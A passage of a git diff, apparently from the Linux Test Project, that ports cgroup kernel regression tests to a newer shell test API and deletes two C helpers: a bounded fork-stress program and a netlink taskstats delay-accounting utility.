 	lines=`cat /proc/cgroups | wc -l`
 	if [ $lines -le 9 ]; then
-		tst_resm TCONF "require more than 8 cgroup subsystems"
+		tst_res TCONF "require more than 8 cgroup subsystems"
 		return
 	fi
 
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	mkdir cgroup/0
 	rmdir cgroup/0
-	umount cgroup/
+	umount cgroup
 
-	dmesg | grep -q "MAX_LOCKDEP_SUBCLASSES too low"
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "lockdep BUG was found"
-		failed=1
+	if dmesg | grep -q "MAX_LOCKDEP_SUBCLASSES too low"; then
+		tst_res TFAIL "lockdep BUG was found"
 		return
-	else
-		tst_resm TPASS "no lockdep BUG was found"
 	fi
+
+	tst_res TPASS "no lockdep BUG was found"
 }
 
 #---------------------------------------------------------------------------
@@ -251,53 +240,71 @@
 #         http://lkml.org/lkml/2009/1/28/190
 # Fix:    commit 839ec5452ebfd5905b9c69b20ceb640903a8ea1a
 #---------------------------------------------------------------------------
-test_5()
+test5()
 {
-	lines=`cat /proc/cgroups | wc -l`
+	local mounted
+	local failing
+	local mntpoint
+
+	local lines=`cat /proc/cgroups | wc -l`
 	if [ $lines -le 2 ]; then
-		tst_resm TCONF "require at least 2 cgroup subsystems"
+		tst_res TCONF "require at least 2 cgroup subsystems"
 		return
 	fi
 
-	subsys1=`tail -n 1 /proc/cgroups | awk '{ print $1 }'`
-	subsys2=`tail -n 2 /proc/cgroups | head -1 | awk '{ print $1 }'`
+	local subsys1=`tail -n 1 /proc/cgroups | awk '{ print $1 }'`
+	local subsys2=`tail -n 2 /proc/cgroups | head -1 | awk '{ print $1 }'`
 
-	mount -t cgroup -o $subsys1,$subsys2 xxx cgroup/
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "mount $subsys1 and $subsys2 failed"
-		failed=1
-		return
+	# Accounting here for the fact that the chosen subsystems could
+	# have been already previously mounted at boot time: in such a
+	# case we must skip the initial co-mount step (which would
+	# fail anyway) and properly re-organize the $mntpoint and
+	# $failing params to be used in the following expected-to-fail
+	# mount action. Note that the subsysN name itself will be listed
+	# amongst mounts options.
+	get_cgroup_mountpoint $subsys1 >/dev/null && mounted=$subsys1
+	[ -z "$mounted" ] && get_cgroup_mountpoint $subsys2 >/dev/null && mounted=$subsys2
+	if [ -z "$mounted" ]; then
+		mntpoint=cgroup
+		failing=$subsys1
+		mount -t cgroup -o $subsys1,$subsys2 xxx $mntpoint/
+		if [ $? -ne 0 ]; then
+			tst_res TFAIL "mount $subsys1 and $subsys2 failed"
+			return
+		fi
+	else
+		# Use the pre-esistent mountpoint as $mntpoint and use a
+		# co-mount with $failing: this way the 2nd mount will
+		# also fail (as expected) in this 'mirrored' configuration.
+		mntpoint=$(get_cgroup_mountpoint $mounted)
+		failing=$subsys1,$subsys2
 	fi
 
-	# This 2nd mount should fail
-	mount -t cgroup -o $subsys1 xxx cgroup/ 2> /dev/null
+	# This 2nd mount has been properly configured to fail
+	mount -t cgroup -o $failing xxx $mntpoint/ 2> /dev/null
 	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "mount $subsys1 should fail"
-		umount cgroup/
-		failed=1
+		tst_res TFAIL "mount $failing should fail"
+		# Do NOT unmount pre-existent mountpoints...
+		[ -z "$mounted" ] && umount $mntpoint
 		return
 	fi
 
-	mkdir cgroup/0
+	mkdir $mntpoint/0
 	# Otherwise we can't attach task
 	if [ "$subsys1" = cpuset -o "$subsys2" = cpuset ]; then
-		echo 0 > cgroup/0/cpuset.cpus 2> /dev/null
-		echo 0 > cgroup/0/cpuset.mems 2> /dev/null
+		echo 0 > $mntpoint/0/cpuset.cpus 2> /dev/null
+		echo 0 > $mntpoint/0/cpuset.mems 2> /dev/null
 	fi
 
 	sleep 100 &
-	echo $! > cgroup/0/tasks
+	echo $! > $mntpoint/0/tasks
 
+	kill -TERM $! > /dev/null
+	wait $! 2>/dev/null
+	rmdir $mntpoint/0
+	# Do NOT unmount pre-existent mountpoints...
+	[ -z "$mounted" ] && umount $mntpoint
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
-	fi
-
-	# clean up
-	/bin/kill -SIGTERM $! > /dev/null
-	wait $!
-	rmdir cgroup/0
-	umount cgroup/
 }
 
 #---------------------------------------------------------------------------
@@ -306,35 +313,34 @@
 # Links:  http://lkml.org/lkml/2008/12/24/124
 # Fix:    commit 7b574b7b0124ed344911f5d581e9bc2d83bbeb19
 #---------------------------------------------------------------------------
-test_6()
+test6()
 {
-	grep -q -w "ns" /proc/cgroups
-	if [ $? -ne 0 ]; then
-		tst_resm TCONF "CONFIG_CGROUP_NS"
+	if tst_kvcmp -ge "3.0"; then
+		tst_res TCONF "CONFIG_CGROUP_NS is NOT supported in Kernels >= 3.0"
 		return
 	fi
 
-	# run the test for 30 secs
-	./test_6_1.sh &
-	pid1=$!
-	./test_6_2 &
-	pid2=$!
-
-	sleep 30
-	/bin/kill -SIGUSR1 $pid1
-	/bin/kill -SIGTERM $pid2
-	wait $pid1
-	wait $pid2
-
-	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
+	if ! grep -q -w "ns" /proc/cgroups; then
+		tst_res TCONF "CONFIG_CGROUP_NS is NOT enabled"
+		return
 	fi
 
-	# clean up
+	cgroup_regression_6_1.sh &
+	local pid1=$!
+	cgroup_regression_6_2 &
+	local pid2=$!
+
+	tst_res TINFO "run test for 30 sec"
+	sleep 30
+	kill -USR1 $pid1
+	kill -TERM $pid2
+	wait $pid1 2>/dev/null
+	wait $pid2 2>/dev/null
+
 	mount -t cgroup -o ns xxx cgroup/ > /dev/null 2>&1
 	rmdir cgroup/[1-9]* > /dev/null 2>&1
-	umount cgroup/
+	umount cgroup
+	check_kernel_bug
 }
 
 #---------------------------------------------------------------------------
@@ -347,31 +353,45 @@
 #---------------------------------------------------------------------------
 test_7_1()
 {
-	mount -t cgroup -o $subsys xxx cgroup/
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount $subsys"
-		failed=1
-		return
+	local subsys=$1
+	# we should be careful to select a $subsys_path which is related to
+	# cgroup only: if cgroup debugging is enabled a 'debug' $subsys
+	# could be passed here as params and this will lead to ambiguity and
+	# errors when grepping simply for 'debug' in /proc/mounts since we'll
+	# find also /sys/kernel/debug. Helper takes care of this.
+	local subsys_path=$(get_cgroup_mountpoint $subsys)
+
+	if [ -z "$subsys_path" ]; then
+		mount -t cgroup -o $subsys xxx cgroup/
+		if [ $? -ne 0 ]; then
+			tst_res TFAIL "failed to mount $subsys"
+			return
+		fi
+		subsys_path=cgroup
 	fi
 
-	mkdir cgroup/0
-	sleep 100 < cgroup/0 &	# add refcnt to this dir
-	rmdir cgroup/0
+	mkdir $subsys_path/0
+	sleep 100 < $subsys_path/0 &	# add refcnt to this dir
+	rmdir $subsys_path/0
 
 	# remount with new subsystems added
 	# since 2.6.28, this remount will fail
-	mount -t cgroup -o remount xxx cgroup/ 2> /dev/null
-	/bin/kill -SIGTERM $!
-	wait $!
-	umount cgroup/
+
+	if [ "$subsys_path" = "cgroup" ]; then
+		mount -t cgroup -o remount xxx cgroup/ 2> /dev/null
+		kill -TERM $!
+		wait $! 2>/dev/null
+		umount cgroup
+	fi
 }
 
 test_7_2()
 {
+	local subsys=$1
+
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount cgroup"
-		failed=1
+		tst_res TFAIL "failed to mount cgroup"
 		return
 	fi
 
@@ -382,29 +402,32 @@
 	# remount with some subsystems removed
 	# since 2.6.28, this remount will fail
 	mount -t cgroup -o remount,$subsys xxx cgroup/ 2> /dev/null
-	/bin/kill -SIGTERM $!
-	wait $!
-	umount cgroup/
+	kill -TERM $!
+	wait $! 2>/dev/null
+	umount cgroup
 
-	# due to the bug, reading /proc/sched_debug may lead to oops
 	grep -q -w "cpu" /proc/cgroups
 	if [ $? -ne 0 -o ! -e /proc/sched_debug ]; then
+		tst_res TWARN "skip rest of testing due possible oops triggered by reading /proc/sched_debug"
 		return
 	fi
 
 	tmp=0
-	while [ $tmp -lt 50 ] ; do
+	while [ $tmp -lt 50 ]; do
 		echo 3 > /proc/sys/vm/drop_caches
 		cat /proc/sched_debug > /dev/null
-		: $(( tmp += 1 ))
+		tmp=$((tmp+1))
 	done
 }
 
-test_7()
+test7()
 {
-	lines=`cat /proc/cgroups | wc -l`
+	local lines=`cat /proc/cgroups | wc -l`
+	local subsys
+	local i=1
+
 	if [ $lines -le 2 ]; then
-		tst_resm TCONF "require at least 2 cgroup subsystems"
+		tst_res TCONF "require at least 2 cgroup subsystems"
 		slt_result $SLT_Untested
 		return
 	fi
@@ -412,21 +435,11 @@
 	subsys=`tail -n 1 /proc/cgroups | awk '{ print $1 }'`
 
 	# remount to add new subsystems to the hierarchy
-	i=1
-	while [ $i -le 2 ] ; do
-		test_7_$i
-		if [ $? -ne 0 ]; then
-			return
-		fi
-
-		check_kernel_bug
-		if [ $? -eq 0 ]; then
-			return
-		fi
-		: $(( i += 1 ))
+	while [ $i -le 2 ]; do
+		test_7_$i $subsys || return
+		check_kernel_bug $i || return
+		i=$((i+1))
 	done
-
-	tst_resm TPASS "no kernel bug was found"
 }
 
 #---------------------------------------------------------------------------
@@ -435,29 +448,20 @@
 # Links:  http://lkml.org/lkml/2008/11/19/53
 # Fix:    commit 33d283bef23132c48195eafc21449f8ba88fce6b
 #---------------------------------------------------------------------------
-test_8()
+test8()
 {
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount cgroup filesystem"
-		failed=1
+		tst_res TFAIL "failed to mount cgroup filesystem"
 		return
 	fi
 
-	./getdelays -C cgroup/tasks > /dev/null 2>&1
-	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "should have failed to get cgroupstat of tasks file"
-		umount cgroup/
-		failed=1
-		return
+	if cgroup_regression_getdelays -C cgroup/tasks > /dev/null 2>&1; then
+		tst_res TFAIL "should have failed to get cgroupstat of tasks file"
 	fi
 
+	umount cgroup
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
-	fi
-
-	umount cgroup/
 }
 
 #---------------------------------------------------------------------------
@@ -468,24 +472,20 @@
 # Links:  http://lkml.org/lkml/2009/1/4/352
 # Fix:    commit ada723dcd681e2dffd7d73345cc8fda0eb0df9bd
 #---------------------------------------------------------------------------
-test_9()
+test9()
 {
-	./test_9_1.sh &
-	pid1=$!
-	./test_9_2.sh &
-	pid2=$!
+	cgroup_regression_9_1.sh &
+	local pid1=$!
+	cgroup_regression_9_2.sh &
+	local pid2=$!
 
 	sleep 30
-	/bin/kill -SIGUSR1 $pid1 $pid2
-	wait $pid1
-	wait $pid2
+	kill -USR1 $pid1 $pid2
+	wait $pid1 2>/dev/null
+	wait $pid2 2>/dev/null
 
-	umount cgroup/ 2> /dev/null
-
+	umount cgroup 2> /dev/null
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel warning was found"
-	fi
 }
 
 #---------------------------------------------------------------------------
@@ -495,39 +495,23 @@
 # Links:  http://lkml.org/lkml/2009/1/4/354
 # Fix:    commit 1a88b5364b535edaa321d70a566e358390ff0872
 #---------------------------------------------------------------------------
-test_10()
+test10()
 {
-	./test_10_1.sh &
-	pid1=$!
-	./test_10_2.sh &
-	pid2=$!
+	cgroup_regression_10_1.sh &
+	local pid1=$!
+	cgroup_regression_10_2.sh &
+	local pid2=$!
 
 	sleep 30
-	/bin/kill -SIGUSR1 $pid1 $pid2
-	wait $pid1
-	wait $pid2
+	kill -USR1 $pid1 $pid2
+	wait $pid1 2>/dev/null
+	wait $pid2 2>/dev/null
 
 	mount -t cgroup none cgroup 2> /dev/null
+	mkdir cgroup/0
 	rmdir cgroup/0
-	umount cgroup/
-
+	umount cgroup 2> /dev/null
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel warning was found"
-	fi
 }
 
-# main
-
-mkdir cgroup/
-
-for ((cur = 1; cur <= $TST_TOTAL; cur++))
-{
-	export TST_COUNT=$cur
-
-	test_$cur
-}
-
-find cgroup/ -maxdepth 1 -depth -exec rmdir {} +
-
-exit $failed
+tst_run
diff --git a/testcases/kernel/controllers/cgroup/fork_processes.c b/testcases/kernel/controllers/cgroup/fork_processes.c
deleted file mode 100644
index b4bb771..0000000
--- a/testcases/kernel/controllers/cgroup/fork_processes.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
-
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void)
-{
-	int i;
-	pid_t pid;
-
-	while (1) {
-		for (i = 0; i < 200; i++) {
-			pid = fork();
-			if (pid == 0) {
-				exit(0);
-			} else if (pid == -1) {
-				continue;
-			}
-		}
-
-		for (i = 0; i < 200; i++)
-			if (wait(NULL) < 0)
-				break;
-	}
-
-	return 0;
-}
diff --git a/testcases/kernel/controllers/cgroup/getdelays.c b/testcases/kernel/controllers/cgroup/getdelays.c
deleted file mode 100644
index 4e87a13..0000000
--- a/testcases/kernel/controllers/cgroup/getdelays.c
+++ /dev/null
@@ -1,544 +0,0 @@
-/* getdelays.c
- *
- * Utility to get per-pid and per-tgid delay accounting statistics
- * Also illustrates usage of the taskstats interface
- *
- * Copyright (C) Shailabh Nagar, IBM Corp. 2005
- * Copyright (C) Balbir Singh, IBM Corp. 2006
- * Copyright (c) Jay Lan, SGI. 2006
- *
- * Compile with
- *	gcc -I/usr/src/linux/include getdelays.c -o getdelays
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <poll.h>
-#include <string.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/socket.h>
-#include <signal.h>
-#include <linux/types.h>
-#include "config.h"
-
-#ifdef HAVE_LINUX_GENETLINK_H
-#include <linux/genetlink.h>
-#endif
-#ifdef HAVE_LINUX_TASKSTATS_H
-#include <linux/taskstats.h>
-#endif
-#ifdef HAVE_LINUX_CGROUPSTATS_H
-#include <linux/cgroupstats.h>
-#endif
-
-#if defined(HAVE_LINUX_GENETLINK_H) && defined(HAVE_LINUX_TASKSTATS_H)
-
-/*
- * Generic macros for dealing with netlink sockets. Might be duplicated
- * elsewhere. It is recommended that commercial grade applications use
- * libnl or libnetlink and use the interfaces provided by the library
- */
-#define GENLMSG_DATA(glh)	((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define GENLMSG_PAYLOAD(glh)	(NLMSG_PAYLOAD(glh, 0) - GENL_HDRLEN)
-#define NLA_DATA(na)		((void *)((char*)(na) + NLA_HDRLEN))
-#define NLA_PAYLOAD(len)	(len - NLA_HDRLEN)
-
-#define err(code, fmt, arg...)			\
-	do {					\
-		fprintf(stderr, fmt, ##arg);	\
-		exit(code);			\
-	} while (0)
-
-int done;
-int rcvbufsz;
-char name[100];
-int dbg;
-int print_delays;
-int print_io_accounting;
-int print_task_context_switch_counts;
-
-#define PRINTF(fmt, arg...) {			\
-	    if (dbg) {				\
-		printf(fmt, ##arg);		\
-	    }					\
-	}
-
-/* Maximum size of response requested or message sent */
-#define MAX_MSG_SIZE	1024
-/* Maximum number of cpus expected to be specified in a cpumask */
-#define MAX_CPUS	32
-
-char cpumask[100 + 6 * MAX_CPUS];
-
-static void usage(void)
-{
-	fprintf(stderr, "getdelays [-dilv] [-w logfile] [-r bufsize] "
-		"[-m cpumask] [-t tgid] [-p pid]\n");
-	fprintf(stderr, "  -d: print delayacct stats\n");
-	fprintf(stderr, "  -i: print IO accounting (works only with -p)\n");
-	fprintf(stderr, "  -l: listen forever\n");
-	fprintf(stderr, "  -v: debug on\n");
-	fprintf(stderr, "  -C: container path\n");
-}
-
-struct msgtemplate {
-	struct nlmsghdr n;
-	struct genlmsghdr g;
-	char buf[MAX_MSG_SIZE];
-};
-
-/*
- * Create a raw netlink socket and bind
- */
-static int create_nl_socket(int protocol)
-{
-	int fd;
-	struct sockaddr_nl local;
-
-	fd = socket(AF_NETLINK, SOCK_RAW, protocol);
-	if (fd < 0)
-		return -1;
-
-	if (rcvbufsz)
-		if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF,
-			       &rcvbufsz, sizeof(rcvbufsz)) < 0) {
-			fprintf(stderr, "Unable to set socket rcv buf size "
-				"to %d\n", rcvbufsz);
-			return -1;
-		}
-
-	memset(&local, 0, sizeof(local));
-	local.nl_family = AF_NETLINK;
-
-	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
-		goto error;
-
-	return fd;
-error:
-	close(fd);
-	return -1;
-}
-
-int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid,
-	     __u8 genl_cmd, __u16 nla_type, void *nla_data, int nla_len)
-{
-	struct nlattr *na;
-	struct sockaddr_nl nladdr;
-	int r, buflen;
-	char *buf;
-
-	struct msgtemplate msg;
-
-	msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-	msg.n.nlmsg_type = nlmsg_type;
-	msg.n.nlmsg_flags = NLM_F_REQUEST;
-	msg.n.nlmsg_seq = 0;
-	msg.n.nlmsg_pid = nlmsg_pid;
-	msg.g.cmd = genl_cmd;
-	msg.g.version = 0x1;
-	na = (struct nlattr *)GENLMSG_DATA(&msg);
-	na->nla_type = nla_type;
-	na->nla_len = nla_len + 1 + NLA_HDRLEN;
-	memcpy(NLA_DATA(na), nla_data, nla_len);
-	msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-	buf = (char *)&msg;
-	buflen = msg.n.nlmsg_len;
-	memset(&nladdr, 0, sizeof(nladdr));
-	nladdr.nl_family = AF_NETLINK;
-	while ((r = sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr,
-			   sizeof(nladdr))) < buflen) {
-		if (r > 0) {
-			buf += r;
-			buflen -= r;
-		} else if (errno != EAGAIN)
-			return -1;
-	}
-	return 0;
-}
-
-/*
- * Probe the controller in genetlink to find the family id
- * for the TASKSTATS family
- */
-int get_family_id(int sd)
-{
-	struct {
-		struct nlmsghdr n;
-		struct genlmsghdr g;
-		char buf[256];
-	} ans;
-
-	int id = 0, rc;
-	struct nlattr *na;
-	int rep_len;
-
-	strcpy(name, TASKSTATS_GENL_NAME);
-	rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
-		      CTRL_ATTR_FAMILY_NAME, (void *)name,
-		      strlen(TASKSTATS_GENL_NAME) + 1);
-
-	rep_len = recv(sd, &ans, sizeof(ans), 0);
-	if (ans.n.nlmsg_type == NLMSG_ERROR ||
-	    (rep_len < 0) || !NLMSG_OK((&ans.n), rep_len))
-		return 0;
-
-	na = (struct nlattr *)GENLMSG_DATA(&ans);
-	na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-	if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
-		id = *(__u16 *) NLA_DATA(na);
-	}
-	return id;
-}
-
-void print_delayacct(struct taskstats *t)
-{
-	printf("\n\nCPU   %15s%15s%15s%15s\n"
-	       "      %15llu%15llu%15llu%15llu\n"
-	       "IO    %15s%15s\n"
-	       "      %15llu%15llu\n"
-	       "SWAP  %15s%15s\n" "      %15llu%15llu\n" "RECLAIM  %12s%15s\n"
-#ifdef HAVE_STRUCT_TASKSTATS_FREEPAGES_COUNT
-	       "      %15llu%15llu\n"
-#endif
-	       , "count", "real total", "virtual total", "delay total",
-	       (unsigned long long)t->cpu_count,
-	       (unsigned long long)t->cpu_run_real_total,
-	       (unsigned long long)t->cpu_run_virtual_total,
-	       (unsigned long long)t->cpu_delay_total,
-	       "count", "delay total",
-	       (unsigned long long)t->blkio_count,
-	       (unsigned long long)t->blkio_delay_total,
-	       "count", "delay total",
-	       (unsigned long long)t->swapin_count,
-	       (unsigned long long)t->swapin_delay_total, "count", "delay total"
-#ifdef HAVE_STRUCT_TASKSTATS_FREEPAGES_COUNT
-	       , (unsigned long long)t->freepages_count,
-	       (unsigned long long)t->freepages_delay_total
-#endif
-	    );
-}
-
-void task_context_switch_counts(struct taskstats *t)
-{
-#ifdef HAVE_STRUCT_TASKSTATS_NVCSW
-	printf("\n\nTask   %15s%15s\n"
-	       "	%15llu%15llu\n",
-	       "voluntary", "nonvoluntary",
-	       (unsigned long long)t->nvcsw, (unsigned long long)t->nivcsw);
-#endif
-}
-
-#ifdef HAVE_LINUX_CGROUPSTATS_H
-void print_cgroupstats(struct cgroupstats *c)
-{
-	printf("sleeping %llu, blocked %llu, running %llu, stopped %llu, "
-	       "uninterruptible %llu\n", (unsigned long long)c->nr_sleeping,
-	       (unsigned long long)c->nr_io_wait,
-	       (unsigned long long)c->nr_running,
-	       (unsigned long long)c->nr_stopped,
-	       (unsigned long long)c->nr_uninterruptible);
-}
-#endif
-
-void print_ioacct(struct taskstats *t)
-{
-#ifdef HAVE_STRUCT_TASKSTATS_READ_BYTES
-	printf("%s: read=%llu, write=%llu, cancelled_write=%llu\n",
-	       t->ac_comm,
-	       (unsigned long long)t->read_bytes,
-	       (unsigned long long)t->write_bytes,
-	       (unsigned long long)t->cancelled_write_bytes);
-#endif
-}
-
-int main(int argc, char *argv[])
-{
-	int c, rc, rep_len, aggr_len, len2, cmd_type = 0;
-	__u16 id;
-	__u32 mypid;
-
-	struct nlattr *na;
-	int nl_sd = -1;
-	int len = 0;
-	pid_t tid = 0;
-	pid_t rtid = 0;
-
-	int fd = 0;
-	int count = 0;
-	int write_file = 0;
-	int maskset = 0;
-	char *logfile = NULL;
-	int loop = 0;
-	int containerset = 0;
-	char containerpath[1024];
-	int cfd = 0;
-
-	struct msgtemplate msg;
-
-	while (1) {
-		c = getopt(argc, argv, "qdiw:r:m:t:p:vlC:");
-		if (c < 0)
-			break;
-
-		switch (c) {
-		case 'd':
-			printf("print delayacct stats ON\n");
-			print_delays = 1;
-			break;
-		case 'i':
-			printf("printing IO accounting\n");
-			print_io_accounting = 1;
-			break;
-		case 'q':
-			printf("printing task/process context switch rates\n");
-			print_task_context_switch_counts = 1;
-			break;
-		case 'C':
-			containerset = 1;
-			strncpy(containerpath, optarg, strlen(optarg) + 1);
-			break;
-		case 'w':
-			logfile = strdup(optarg);
-			printf("write to file %s\n", logfile);
-			write_file = 1;
-			break;
-		case 'r':
-			rcvbufsz = atoi(optarg);
-			printf("receive buf size %d\n", rcvbufsz);
-			if (rcvbufsz < 0)
-				err(1, "Invalid rcv buf size\n");
-			break;
-		case 'm':
-			strncpy(cpumask, optarg, sizeof(cpumask));
-			maskset = 1;
-			printf("cpumask %s maskset %d\n", cpumask, maskset);
-			break;
-		case 't':
-			tid = atoi(optarg);
-			if (!tid)
-				err(1, "Invalid tgid\n");
-			cmd_type = TASKSTATS_CMD_ATTR_TGID;
-			break;
-		case 'p':
-			tid = atoi(optarg);
-			if (!tid)
-				err(1, "Invalid pid\n");
-			cmd_type = TASKSTATS_CMD_ATTR_PID;
-			break;
-		case 'v':
-			printf("debug on\n");
-			dbg = 1;
-			break;
-		case 'l':
-			printf("listen forever\n");
-			loop = 1;
-			break;
-		default:
-			usage();
-			exit(1);
-		}
-	}
-
-	if (write_file) {
-		fd = open(logfile, O_WRONLY | O_CREAT | O_TRUNC,
-			  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-		if (fd == -1) {
-			perror("Cannot open output file\n");
-			exit(1);
-		}
-	}
-
-	if ((nl_sd = create_nl_socket(NETLINK_GENERIC)) < 0)
-		err(1, "error creating Netlink socket\n");
-
-	mypid = getpid();
-	id = get_family_id(nl_sd);
-	if (!id) {
-		fprintf(stderr, "Error getting family id, errno %d\n", errno);
-		exit(1);
-	}
-	PRINTF("family id %d\n", id);
-
-	if (maskset) {
-		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
-			      TASKSTATS_CMD_ATTR_REGISTER_CPUMASK,
-			      &cpumask, strlen(cpumask) + 1);
-		PRINTF("Sent register cpumask, retval %d\n", rc);
-		if (rc < 0) {
-			fprintf(stderr, "error sending register cpumask\n");
-			exit(1);
-		}
-	}
-
-	if (tid && containerset) {
-		fprintf(stderr, "Select either -t or -C, not both\n");
-		exit(1);
-	}
-
-	if (tid) {
-		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
-			      cmd_type, &tid, sizeof(__u32));
-		PRINTF("Sent pid/tgid, retval %d\n", rc);
-		if (rc < 0) {
-			fprintf(stderr, "error sending tid/tgid cmd\n");
-			exit(1);
-		}
-	}
-
-	if (containerset) {
-		cfd = open(containerpath, O_RDONLY);
-		if (cfd < 0) {
-			perror("error opening container file");
-			exit(1);
-		}
-#ifdef HAVE_LINUX_CGROUPSTATS_H
-		rc = send_cmd(nl_sd, id, mypid, CGROUPSTATS_CMD_GET,
-			      CGROUPSTATS_CMD_ATTR_FD, &cfd, sizeof(__u32));
-#else
-		errno = ENOSYS;
-		rc = -1;
-#endif
-		if (rc < 0) {
-			perror("error sending cgroupstats command");
-			exit(1);
-		}
-	}
-	if (!maskset && !tid && !containerset) {
-		usage();
-		exit(1);
-	}
-
-	do {
-		int i;
-
-		rep_len = recv(nl_sd, &msg, sizeof(msg), 0);
-		PRINTF("received %d bytes\n", rep_len);
-
-		if (rep_len < 0) {
-			fprintf(stderr, "nonfatal reply error: errno %d\n",
-				errno);
-			exit(1);
-		}
-		if (msg.n.nlmsg_type == NLMSG_ERROR ||
-		    !NLMSG_OK((&msg.n), rep_len)) {
-			struct nlmsgerr *err = NLMSG_DATA(&msg);
-			fprintf(stderr, "fatal reply error,  errno %d\n",
-				err->error);
-			exit(1);
-		}
-
-		PRINTF("nlmsghdr size=%zu, nlmsg_len=%d, rep_len=%d\n",
-		       sizeof(struct nlmsghdr), msg.n.nlmsg_len, rep_len);
-
-		rep_len = GENLMSG_PAYLOAD(&msg.n);
-
-		na = (struct nlattr *)GENLMSG_DATA(&msg);
-		len = 0;
-		i = 0;
-		while (len < rep_len) {
-			len += NLA_ALIGN(na->nla_len);
-			switch (na->nla_type) {
-			case TASKSTATS_TYPE_AGGR_TGID:
-				/* Fall through */
-			case TASKSTATS_TYPE_AGGR_PID:
-				aggr_len = NLA_PAYLOAD(na->nla_len);
-				len2 = 0;
-				/* For nested attributes, na follows */
-				na = (struct nlattr *)NLA_DATA(na);
-				done = 0;
-				while (len2 < aggr_len) {
-					switch (na->nla_type) {
-					case TASKSTATS_TYPE_PID:
-						rtid = *(int *)NLA_DATA(na);
-						if (print_delays)
-							printf("PID\t%d\n",
-							       rtid);
-						break;
-					case TASKSTATS_TYPE_TGID:
-						rtid = *(int *)NLA_DATA(na);
-						if (print_delays)
-							printf("TGID\t%d\n",
-							       rtid);
-						break;
-					case TASKSTATS_TYPE_STATS:
-						count++;
-						if (print_delays)
-							print_delayacct((struct
-									 taskstats
-									 *)
-									NLA_DATA
-									(na));
-						if (print_io_accounting)
-							print_ioacct((struct
-								      taskstats
-								      *)
-								     NLA_DATA
-								     (na));
-						if (print_task_context_switch_counts)
-							task_context_switch_counts
-							    ((struct taskstats
-							      *)NLA_DATA(na));
-						if (fd) {
-							if (write
-							    (fd, NLA_DATA(na),
-							     na->nla_len) < 0) {
-								err(1,
-								    "write error\n");
-							}
-						}
-						if (!loop)
-							goto done;
-						break;
-					default:
-						fprintf(stderr, "Unknown nested"
-							" nla_type %d\n",
-							na->nla_type);
-						break;
-					}
-					len2 += NLA_ALIGN(na->nla_len);
-					na = (struct nlattr *)((char *)na +
-							       len2);
-				}
-				break;
-#if HAVE_LINUX_CGROUPSTATS_H
-			case CGROUPSTATS_TYPE_CGROUP_STATS:
-				print_cgroupstats(NLA_DATA(na));
-				break;
-#endif
-			default:
-				fprintf(stderr, "Unknown nla_type %d\n",
-					na->nla_type);
-				exit(1);
-			}
-			na = (struct nlattr *)(GENLMSG_DATA(&msg) + len);
-		}
-	} while (loop);
-done:
-	if (maskset) {
-		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
-			      TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK,
-			      &cpumask, strlen(cpumask) + 1);
-		printf("Sent deregister mask, retval %d\n", rc);
-		if (rc < 0)
-			err(rc, "error sending deregister cpumask\n");
-	}
-
-	close(nl_sd);
-	if (fd)
-		close(fd);
-	if (cfd)
-		close(cfd);
-	return 0;
-}
-#else
-int main(void)
-{
-	printf("System doesn't have needed netlink / taskstats support.\n");
-	return 1;
-}
-#endif
diff --git a/testcases/kernel/controllers/cgroup/test_10_1.sh b/testcases/kernel/controllers/cgroup/test_10_1.sh
deleted file mode 100755
index 2a7763b..0000000
--- a/testcases/kernel/controllers/cgroup/test_10_1.sh
+++ /dev/null
@@ -1,33 +0,0 @@
-#! /bin/bash
-
